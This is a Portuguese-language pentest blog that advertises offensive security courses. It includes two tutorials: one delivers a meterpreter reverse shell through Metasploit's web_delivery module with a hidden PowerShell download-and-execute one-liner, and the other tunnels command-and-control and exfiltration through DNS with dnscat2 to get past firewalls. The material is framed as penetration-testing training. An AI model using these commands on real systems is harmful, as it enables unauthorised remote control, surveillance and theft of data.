22 de junho de 2016

Curso Pentest Avançado e Introdução à Exploração de Softwares - EAD - Set/2016

Mesmo curso ministrado para a divisão de Defesa Cibernética do Exército!

Curso que alia prática e teoria, abordando técnicas avançadas de exploração de sistemas, redes e protocolos vulneráveis. Com esse conteúdo, o aluno será capaz de sair do básico de teste de invasão e partir para um outro nível, com técnicas de exploração mais avançadas e conhecimento necessário para descobrir vulnerabilidades em aplicações e criar seus próprios exploits.

O curso abordará técnicas de exploração tanto de Windows quanto Linux, e cobrirá os tópicos abaixo, de uma forma macro:

  • Explorando Redes - Onde o aluno aprenderá como burlar os controles de acesso de uma rede, bem como explorar vulnerabilidades comuns em redes modernas e seus protocolos.
  • Manipulando a Rede - O aluno será capaz de entender como manipular sistemas de rede para ganhar acesso privilegiado e a oportunidade de explorar sistemas dentro das mesmas.
  • Burlando Ambientes Restritos - Serão demonstrados ambientes em Linux e Windows, com restrições de Desktop, e as ferramentas e técnicas para burlar tais restrições.
  • Softwares Maliciosos e Bypass de Antivírus - O aluno aprenderá como injetar rotinas maliciosas em binários funcionais, e controlar o fluxo de execução de seu código. Verá na prática também, como burlar antivírus, controlando o fluxo de binários maliciosos, alterando assinatura, usando técnicas de anti-debugging e criptografia.
  • Python e Scapy para Pentesters - O aluno aprenderá como ler e modificar scripts em Python e manipulação de pacotes utilizando a ferramenta Scapy para aumentar sua produtividade durante um teste de invasão.
  • Introdução às Técnicas de Fuzzing - O aluno aprenderá como funciona de forma prática, bem como os benefícios, as técnicas de protocol fuzzing para identificar falhas em sistemas alvo.
  • Técnicas Avançadas de Fuzzing - O aluno será capaz de criar sequências de testes customizados utilizando o framework Sulley.
  • Introdução à Exploração de Sistemas Windows - O aluno entenderá os conceitos básicos de Windows para explorar as falhas comuns desse sistema e os Compile-Time Controls.
  • Windows Overflows - O aluno aprenderá como explorar vulnerabilidades no Windows a partir da stack, e burlar proteções de memória.
  • Introdução à Memória Dinâmica do Linux - O aluno aprenderá um pouco sobre arquitetura de processadores X86, gerenciamento de memória no Linux, assembly, linkedição e carregamento de processos.
  • Smashing the Stack - Será ensinado ao aluno como escrever exploits básicos para stack overflow e também contra programa protegidos com canary e ASLR.

O aluno montará seus próprios LABs com orientação do instrutor, e poderá utilizar sua infraestrutura para realizar os testes durante a aula, e posteriormente ao assistir os vídeos gravados das aulas.

Máquinas virtuais necessárias: Kali Linux, Windows 7 e outras que serão disponibilizadas pelo instrutor ao início do curso. As máquinas podem ser virtualizadas utilizando VMWare ou VirtualBox.

Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Pentest Avançado e Introdução a Exploração de Softwares". Para pagamentos via Paypal ou PagSeguro, após preencher o formulário, aguarde o e-mail com o link de cobrança.

Carga horária: 40h
Investimento: R$ 981,00 à vista (ou 1.090,00 com possibilidade de parcelamento em até 3x no cartão de crédito via PayPal ou 12x via BCash)
Horário de aula: 22h às 24h
Dias de aula: ter., e qua.
Início das aulas: 27/09/2016
Local: Internet

20 de maio de 2016

Venda de cursos já realizados

Pessoal, sei que muita gente as vezes acaba perdendo uma turma ou outra dos cursos que realizo, seja por falta de tempo, ou dinheiro, naquele momento em que estou formando as turmas. 

Por conta disso é possível adquirir, após a realização das turmas, o material de cada uma delas. No material sempre estão inclusos os slides, os vídeos e os arquivos utilizados em cada curso, e em alguns inclusive disponibilizo a apostila e máquinas virtuais para os laboratórios (esses dois últimos, nem todos os cursos tem, mas todos tem os vídeos e slides).

Quando o aluno adquire o material do curso, é possível ao final de seus estudos realizar uma avaliação prática para receber o certificado de conclusão do mesmo, caso o aluno tenha interesse.

Os cursos atualmente disponíveis para aquisição são os seguintes, com seus respectivos valores a serem pagos via Paypal em até 3x:

- Hardening de Servidores Linux = 450,00
- Pentest em Redes = 710,00
- Engenharia Social = 400,00
- Pentest em Aplicações WEB = 640,00
- Perícia Forense Digital = 710,00
- Fundamentos de Programação com Assembly e C = 450,00
- Engenharia Reversa e Análise de Malwares = 800,00
- Pentest Avançado e Introdução à Exploração de Softwares = 800,00
- Programação para Pentesters = 800,00

Para pagamentos à vista, é possível um desconto de 10%. E caso adquira mais de um curso, podemos negociar outros descontos.

Quem tiver interesse, basta enviar um e-mail para luizwt at gmail.com.

16 de maio de 2016

Módulo Web Delivery do Metasploit

Muitas vezes estamos em situações em que temos acesso à uma máquina que precisamos explorar, mas sem as ferramentas adequadas ou necessárias naquele momento. Um dos módulos do Metasploit que pode nos ajudar em cenários assim é o web delivery, que permite que remotamente nos conectemos à um IP e tenhamos de retorno um shell, seja command.com ou meterpreter no caso do Metasploit.

Entretanto, é necessário que deixemos nossa máquina com o Metasploit (possivelmente na nuvem) já configurada aguardando a conexão.

Nesse exemplo, vamos ver como compromenter uma máquina Windows, entregando um shell meterpreter via PowerShell (poderia ser via Python ou PHP também).

Em primeiro lugar precisamos entrar no msfconsole e digitar os seguintes comandos:
  • use exploit/multi/script/web_delivery
  • set lhost [Kali IP Address]
  • set lport 4444
Quando digitamos o comando "show targets", vemos as opções de entrega do shell, que em nosso caso será PowerShell:

Então, para selecionar o tipo de entrega e o shell que será entregue, digitamos os dois seguintes comandos:

  • set target 2
  • set payload windows/meterpreter/reverse_tcp
E então executamos o comando "exploit", para colocar nossa máquina numa condição de "listening", que é quando fica aguardando alguém conectar-se para entregar o payload:

E então, na máquina alvo, onde temos acesso físico, digitamos o comando abaixo para forçar a conexão e a entrega do payload:
  • powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.39:8080/eAtfMo'))
E então, na máquina onde temos o Metasploit, veremos uma tentativa de conexão, e uma sessão sendo criada:

E então, ou você já terá um shell via meterpreter com o prompt "meterpreter>" aberto, ou simplesmente precisará digitar o comando "sessions -i [numero-da-sessão]" para conectar-se e começar a brincadeira.

A partir daí, terá todo o poder do meterpreter disponível em suas mãos: keylogger, screenshot, ativar webcam para vídeos e fotos, network sniffing, escalada de privilégios, criar backdoor persistente e etc. Quando quiser finalizar a sessão, basta digitar "exit" e cair de novo no msfconsole.

Have some fun!




18 de fevereiro de 2016

Próximo Treinamento: Programação para Pentesters - Junho/2016

Novo ano, novo treinamento!

Esse ano estamos lançando o treinamento Programação para Pentesters, baseado totalmente em Python, que terá sua primeira turma em Junho/2016. Conteúdo resumido pode ser encontrado abaixo, com os principais tópicos abordados:

  • Python Scripting – O Essencial
  • Programação e Segurança
  • Pentest com Python
  • Programação para Redes – Sniffers e Packet Injectors
  • Comprometendo a Rede com Scapy
  • Redes Wireless e Python
  • Reconhecimento Web com Python
  • Atacando Aplicações
  • Compromentendo aplicações Web
  • Técnicas de Exploitation
  • Command & Control via GitHub e outros meios
  • Usando Tarefas no Windows para comprometer sistemas
  • Evasão de Antivírus com Python
  • Escalada de Privilégios em Windows
  • Automatizando Ataques

O foco principal desse curso é mostrar como a programação usando Python pode facilitar a vida de profissionais de segurança automatizando uma série de atividades, inclusive ataques, que precisam ser feitos periodicamente para avaliações de segurança de seu ambiente.

Além disso, o aluno aprenderá a não depender exclusivamente de ferramentas de terceiros para realizar seus testes, podendo criar novas ferramentas ou extender as funcionalidades de ferramentas já existentes.

Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Programação para Pentesters".
Carga horária: mínimo de 32h
Investimento: R$ 1.090,00 (com possibilidade de parcelamento em até 3x no cartão de crédito via PayPal ou 12x via BCash)
Desconto: 10% de desconto para pgtos à vista via depósito.
Horário de aula: 22h às 00h
Dias de aula: terça e quarta-feira.
Início das aulas: 07/06/2016



12 de fevereiro de 2016

Bypass de firewall com tunelamento por DNS

Referência: https://github.com/iagox86/dnscat2

Uma das grandes preocupações de quem administra firewalls é justamente evitar que haja qualquer buraco que possa permitir o comprometimento de sua rede e exfiltração de informações sensíveis através de conexões remotas, principalmente através de aplicações que se utilizam da técnica Command&Control (C2).

Entretanto, sabemos que para o bom funcionamento de qualquer ambiente, alguns serviços e protocolos precisam ser liberados, como é o caso do DNS. O grande problema aqui, é que tanto o DNS, quanto outros protocolos, podem ser utilizados para encapsular informações que as regras de firewall pode deixar passar, por conta de analisarem apenas uma camada específica e apenas parte do payload dos pacotes.

É importante apenas frisar que o DNS é considerado tanto um protocolo quanto um serviço (referências podem ser encontradas aqui). Esse protocolo é nativo da camada de aplicação do modelo OSI, e suas propriedades permitem que protocolos de camadas mais baixas sejam encapsulados em pacotes DNS, o que ajudaria o processo de bypass nas regras de firewalls.

Obviamente, como tudo existe para facilitar nossas vidas, é possível utilizar aplicações já prontas para facilitar todo esse processo, o que facilita a vida tanto de pentesters quanto de atacantes reais.

Bem, implicações éticas à parte, já que somos adultos e sabemos de todas as consequências do uso de tais ferramentas para fins não éticos, vamos ao que é possível fazer com a ferramenta eleita de hoje: o dnscat2.

A primeira coisa que precisamos ter em mente é que essa ferramenta funciona no esquema de cliente/servidor. Portanto, é importante que tenha uma máquina virtual na cloud para servir de local para hospedar o server da ferramenta, como um droplet no Digital Ocean, por exemplo.

Após o deployment de sua VM na cloud, basta baixar e instalar o dnscat2 server, com os seguintes comandos:

# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install

E após instalar o server, para ativá-lo basta usar o comando abaixo, a partir de dentro do diretório dnscat2/server:
# ruby ./dnscat2.rb
Com isso feito, basta agora executar o cliente na máquina vítima, ou de sua máquina dentro da rede de onde quer fazer a conexão, usando simplesmente o parâmetro "--host [IP-do-server]". Caso a máquina de onde esteja rodando o cliente seja Windows, basta baixar o binário pré-compilado do site do desenvolvedor: https://downloads.skullsecurity.org/dnscat2/ e executá-lo com o mesmo parâmetro (--host [IP-do-server]).

Assim que o cliente for executado, poderá perceber que no server você receberá o laerta de uma nova conexão existente com um cliente, como abaixo:
# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 1258 
dnscat2>
O que é mais interessante, é que a partir do server você poderá interagir com o cliente a qualquer momento, executando comandos e carregando aplicações definindo com qual sessão deseja interagir, como por exemplo:
dnscat2> session -i 1258
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 1258]> exec notepad.exe
Sent request to execute
dnscat [command: 1258]>

dnscat2 também suporta outros comandos, como download e upload, para exfiltragem de informações por exemplo.

Outra forma interessante, para tornar nossa estrutura mais robusta, é configurar um servidor DNS em alguma outra droplet (VM na cloud) usando um name específico, como hackproofing.com por exemplo, e configurá-lo para atuar como um servidor de DNS rodando em um IP válido, que servirá de intermediário entre o server e o client. 

Sendo assim, precisaremos configurar o server para rodar conectado à esse DNS com o comando:
# ruby ./dnscat2.rb hackproofing.com
E o client a mesma coisa, mas agora sem o parâmetro --host, simplesmente colocando o nome do DNS "hackproofing.com" após o comando de execução do cliente dnscat2.

Dessa maneira, se executar um wireshark para analisar as requisições saindo da rede local, verá várias requisições feitas ao DNS "hackproofing.com". E obviamente, dependendo da quantidade de tráfego gerado por essas conexões, para um administrador de redes atento, isso chamará sua atenção.

Esse é o básico de utilização da ferramenta! Portanto, divirtam-se e descubram novas funcionalidades e formas de utilizá-la.